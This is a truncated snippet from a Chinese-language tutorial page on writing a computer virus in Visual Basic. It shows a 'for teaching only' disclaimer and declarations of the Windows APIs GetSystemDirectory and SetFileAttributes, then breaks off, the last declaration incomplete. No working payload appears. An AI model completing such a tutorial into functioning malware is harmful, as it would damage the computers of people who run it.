VB也能用來寫病毒!VB病毒教學 | 電腦不難
'本程式為教學用途,勿做非法行為! Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long '宣告GetSystemDirectory API函數 Declare Function SetFileAttributes Lib Alias ......